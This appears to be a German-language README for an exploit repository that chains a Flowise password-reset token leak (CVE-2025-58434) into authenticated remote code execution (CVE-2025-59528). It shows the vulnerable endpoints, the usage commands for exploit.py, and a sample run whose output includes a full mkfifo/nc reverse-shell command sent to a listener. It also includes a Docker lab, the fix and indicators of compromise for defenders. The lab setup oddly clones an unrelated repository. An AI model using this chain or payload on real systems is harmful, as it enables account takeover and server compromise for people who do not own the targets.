
FlowiseAI CVE-2025-58434 & CVE-2025-59528 Exploit PoC, demonstriert unauthenticated ATO über Reset-Token-Lackage, gefolgt von authenticated RCE. Enthält eine reproduzierbare Docker-Laborumgebung.
⚠️ Nur für Bildungszwecke und autorisierte Sicherheitsforschung. Das Ausführen dieses Tools gegen Systeme, die Sie nicht besitzen oder für die Sie keine schriftliche Erlaubnis zum Testen haben, ist illegal.
Dieses Repository enthält einen Python-Proof-of-Concept zur Verkettung von zwei Flowise-Sicherheitslücken:
Flowise ist eine Drag-and-Drop-Plattform zum Erstellen von LLM-Anwendungen und KI-Agenten-Workflows. CVE-2025-59528 betrifft Flowise 3.0.5 und wurde in 3.0.6 behoben. Das Problem entsteht durch unsichere Verarbeitung von mcpServerConfig im CustomMCP-Knoten. CVE-2025-58434 betrifft die Offenlegung von Passwort-Reset-Tokens und wurde ebenfalls in Flowise 3.0.6 behoben.
Das Tool unterstützt:
Der anfällige Passwort-Reset-Ablauf legt vertrauliche Benutzerdaten, einschließlich temporärer Passwort-Reset-Token, in der API-Antwort offen. Ein Angreifer, der eine gültige Benutzer-E-Mail-Adresse kennt, kann einen Passwort-Reset anfordern, das temporäre Token aus der Antwort abrufen und es verwenden, um ein neues Passwort für das Konto festzulegen.
Das anfällige Verhalten betrifft Flowise Cloud und selbst gehostete/lokale Bereitstellungen, die dieselbe API-Oberfläche bereitstellen. Die Abhilfe besteht darin, niemals Passwort-Reset-Token oder vertrauliche Konten-Reset-Daten direkt in API-Antworten zurückzugeben.
Die Sicherheitslücke existiert im CustomMCP-Knoten von Flowise. Der Parameter mcpServerConfig wird als Teil des MCP-Serverkonfigurationsprozesses geparst und ohne Sicherheitsüberprüfung als JavaScript-Code ausgewertet. Dies ermöglicht es einem authentifizierten Angreifer, beliebigen JavaScript-Code zu injizieren, der in der Node.js-Umgebung des Flowise-Servers ausgeführt wird. In der Funktion convertToValidJSONString wird die Benutzereingabe an den Function-Konstruktor übergeben, der die Eingabe als JavaScript-Code mit vollständigen Node.js-Berechtigungen auswertet und so Zugriff auf Module wie child_process zur Ausführung von Systembefehlen ermöglicht.
Der anfällige Endpunkt, der von diesem PoC verwendet wird, ist:
POST /api/v1/node-load-method/customMCP
mit JS-Payload im Feld mcpServerConfig des JSON-Bodys, zum Beispiel:
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "..."
}
}
Der anfällige Code befindet sich in der Datei CustomMCP.ts und wird im Github Maintainer Advisory für die CVE referenziert.
Attacker Flowise
│ │
│ [CVE-2025-58434] │
│ POST /api/v1/account/forgot-password │
│ { email } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ user object + tempToken │
│ │
│ POST /api/v1/account/reset-password │
│ { email, tempToken, newPassword } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ password changed │
│ │
│ POST /api/v1/auth/login │
│ { email, newPassword } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ token / refreshToken / connect.sid │
│ │
│ [CVE-2025-59528] │
│ POST /api/v1/node-load-method/customMCP │
│ mcpServerConfig=<crafted config> │
│─────────────────────────────────────────►│
│ JS evaluated in Node.js
│ command executed
│◄─────────────────────────────────────────│
│ command output or payload fired │
│ │
✓ Account takeover + authenticated RCE
Repository Structure
CVE-2025-58434-CVE-2025-59528/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
└── logs/
git clone https://github.com/0xDaeras/CVE-2025-58434-CVE-2025-59528-POC.git
cd CVE-2025-58434-CVE-2025-59528-POC
pip install -r requirements.txt
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env # Configure environment variables
docker-compose up -d
Ohne Argumente führt das Tool die vollständige Angriffskette aus, überprüft die Ziel-Sicherheitslücke, führt eine Kontenübernahme für die angegebene E-Mail durch, meldet sich an, um Cookies abzurufen, und nutzt dann die RCE-Sicherheitslücke mit einem Reverse-Shell-Payload aus. Starten Sie einen dedizierten Listener (z.B. nc -lvnp 9889), bevor Sie das Tool im Vollkettenmodus ausführen.
python3 exploit.py --target http://localhost:3000 --email [email protected] --lhost attacker.local --lport 9889
python3 exploit.py -h
Führt eine Versionsprüfung durch, um festzustellen, ob das Ziel für CVE-2025-58434 und CVE-2025-59528 anfällig ist. Es sendet eine Anfrage an die API des Ziels und analysiert die Antwort, um die Flowise-Version und den Sicherheitslückenstatus zu identifizieren.
python3 exploit.py --target http://localhost:3000 check
Führt den Kontenübernahmeprozess für CVE-2025-58434 aus. Es sendet eine Passwort-Reset-Anfrage für die angegebene E-Mail, ruft das temporäre Token aus der Antwort ab und verwendet dieses Token, um ein neues Passwort (Standard: „Password123!") für das Konto festzulegen.
python3 exploit.py --target http://localhost:3000 --email [email protected] ato-mode
Meldet sich mit der angegebenen E-Mail und dem Passwort (Standard: „Password123!") am Ziel an. Bei Erfolg werden die Authentifizierungs-Cookies (z.B. connect.sid) abgerufen und angezeigt, die für authentifizierte Anfragen verwendet werden können.
python3 exploit.py --target http://localhost:3000 --email [email protected] --password Password123! login-mode
Nutzt die RCE-Sicherheitslücke (CVE-2025-59528) aus, indem ein präparierter mcpServerConfig-Payload an den anfälligen Endpunkt gesendet wird. Der Payload ist darauf ausgelegt, einen Reverse-Shell-Befehl auszuführen, der eine Verbindung zum Rechner des Angreifers auf dem angegebenen LHOST und LPORT herstellt. Wenn kein Token angegeben wird, wird automatisch versucht, sich anzumelden und ein gültiges Token für die Ausnutzung abzurufen. Wenn kein LHOST/LPORT angegeben wird, wird standardmäßig ein einfacher id-Befehlspayload verwendet, der die Ausgabe in der Antwort zurückgibt. Starten Sie einen dedizierten Listener (z.B. nc -lvnp 9889), bevor Sie das Tool im Vollkettenmodus ausführen.
python3 exploit.py --target http://localhost:3000 --email [email protected] --password Password123! --lhost attacker.local --lport 9889 rce-mode
Standardmodus. Führt die gesamte Angriffskette nacheinander aus: Überprüfung auf Sicherheitslücken, Durchführung der Kontenübernahme, Anmeldung zum Abrufen von Cookies und anschließende Ausnutzung der RCE-Sicherheitslücke mit dem Reverse-Shell-Payload. Starten Sie einen dedizierten Listener (z.B. nc -lvnp 9889), bevor Sie das Tool im Vollkettenmodus ausführen.
python3 exploit.py --target http://localhost:3000 --email [email protected] --lhost attacker.local --lport 9889 full-chain-mode
| Flag | Beschreibung | Beispiel |
|---|---|---|
-t, --target | Basis-URL des Ziels | -t http://localhost:3000 |
-e, --email | E-Mail des Zielkontos | -e [email protected] |
--password | Bekanntes Passwort für Login/RCE-Modus | --password Password123! |
--token | Vorhandenes Sitzungstoken, überspringt Login | --token eyJ... |
--new-password | Passwort, das während der ATO gesetzt wird | --new-password Password123! |
| Modus | Beschreibung |
|---|---|
check | Prüft, ob das Ziel anfällig erscheint |
ato-mode | Nur den Kontenübernahme-Ablauf ausführen |
login-mode | Anmelden und Sitzungscookies abrufen |
rce-mode | Nur den RCE-Ablauf ausführen |
full-mode | ATO, Login und RCE verketten |
| Flag | Beschreibung | Beispiel |
|---|---|---|
-c, --command | Benutzerdefinierter Befehl | -c 'id' |
--lhost | Listener-Host für Reverse Shell | --lhost 10.10.14.3 |
--lport | Listener-Port für Reverse Shell | --lport 4444 |
| Flag | Beschreibung | Standard |
|---|---|---|
--no-check | Versions-/Sicherheitslückenprüfung überspringen | False |
-v, --verbose | Debug-Logging aktivieren | False |
--log-file | Pfad zur Logdatei | logs/exploit.log |
--no-color | ANSI-Farben deaktivieren | False |
$ python3 exploit.py -t http://localhost:3000 -e [email protected] --new-password Password123! --lhost 192.168.1.7 --lport 9889 full-mode
___________.__ .__ _________ .__ .__
\_ _____/| | ______ _ _|__| ______ ____ \_ ___ \| |__ _____ |__| ____
| __) | | / _ \ \/ \/ / |/ ___// __ \ / \ \/| | \\__ \ | |/ \
| \ | |_( <_> ) /| |\___ \\ ___/ \ \___| Y \/ __ \| | | \
\___ / |____/\____/ \/\_/ |__/____ >\___ > \______ /___| (____ /__|___| /
\/ \/ \/ \/ \/ \/ \/
────────────────────────────────────────────────────────────────────────────────
[∗] Target URL: http://localhost:3000
[∗] Module : full-mode
[∗] Email : [email protected]
────────────────────────────────────────────────────────────────────────────────
[∗] Checking for target vulnerability...
[+] Target appears to be vulnerable.
────────────────────────────────────────────────────────────────────────────────
[∗] Starting Account Takeover (CVE-2025-58434)...
[+] Password reset request sent successfully.
[∗] Target user data :
🡪 ID : 4e169dc2-AAAA-BBBB-CCCC-DDDDDDDDDDDD
🡪 Name : Lab Admin
🡪 Email : [email protected]
🡪 Credential : $2a$10$lKbQNf8pVQXJFMzzW...
🡪 Status : active
🡪 Temp Token : AWtyV7mxIa6h12OhlB7H0mMl...
🡪 Token Expiry : 2026-05-08T19:37:47.025Z
[∗] Attempting to reset password using the temporary token...
[∗] New password : Password123!
[+] Account takeover successful! New credentials:
🡪 Email : [email protected]
🡪 Password : Password123!
────────────────────────────────────────────────────────────────────────────────
[∗] Starting login process to retrieve session cookies...
[+] Login successful!
[+] Retrieved session tokens :
🡪 Token : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXV...
🡪 connect.sid : s%3AFi1aUHh5p0aQrPd5q-l_vupTCE-5G...
🡪 refreshToken : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXV...
────────────────────────────────────────────────────────────────────────────────
[∗] Starting Remote Code Execution (CVE-2025-59528)...
[!] Make sure to have a listener ready if using a reverse shell command!
[∗] Reverse shell command: rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.1 9889 > /tmp/f
[∗] Target URL: http://localhost:3000/api/v1/node-load-method/customMCP
[∗] Sending payload to trigger RCE...
[+] Payload sent. Check your listener for a reverse shell connection!
────────────────────────────────────────────────────────────────────────────────
[+] Work done. Bye!
Ein lokales Labor wird für sicheres Testen empfohlen.
Installation des Labors:
cp .env.example .env # Configure environment variables as needed
docker compose up -d --build
docker compose logs -f
Standardmäßig werden zwei Flowise-Konten erstellt:
[email protected], das Passwort wird beim Containerstart zufällig generiert (überprüfen Sie die Logs auf das Passwort).[email protected], das Passwort wird beim Containerstart zufällig generiert, erscheint aber nicht in den Logs. Dies ist das beabsichtigte Ziel für den ATO-Ablauf.Führen Sie den PoC gegen die lokale Instanz aus:
python3 exploit.py \
-t http://localhost:3000 \
-e [email protected] \
--new-password 'Password123!' \
--no-check \
full-mode
Um Flowise-Logs zu überprüfen:
docker compose logs -f flowise-cve-lab
oder:
docker logs -f flowise-cve-lab
Potenzielle Indikatoren für eine Ausnutzung:
/api/v1/node-load-method/customMCPprocess.mainModule, child_process, execSync, Buffer.from, FunctionDieses Projekt wird ausschließlich zu Bildungszwecken, für Labortests und autorisierte Sicherheitsforschung bereitgestellt.
Sie sind dafür verantwortlich, sicherzustellen, dass Sie vor der Ausführung dieses Tools gegen ein System eine ausdrückliche Genehmigung haben. Der Autor ist nicht verantwortlich für Missbrauch, Schäden oder illegale Aktivitäten, die mit diesem Code durchgeführt werden. Befolgen Sie stets ethische Richtlinien und gesetzliche Anforderungen bei der Durchführung von Sicherheitstests.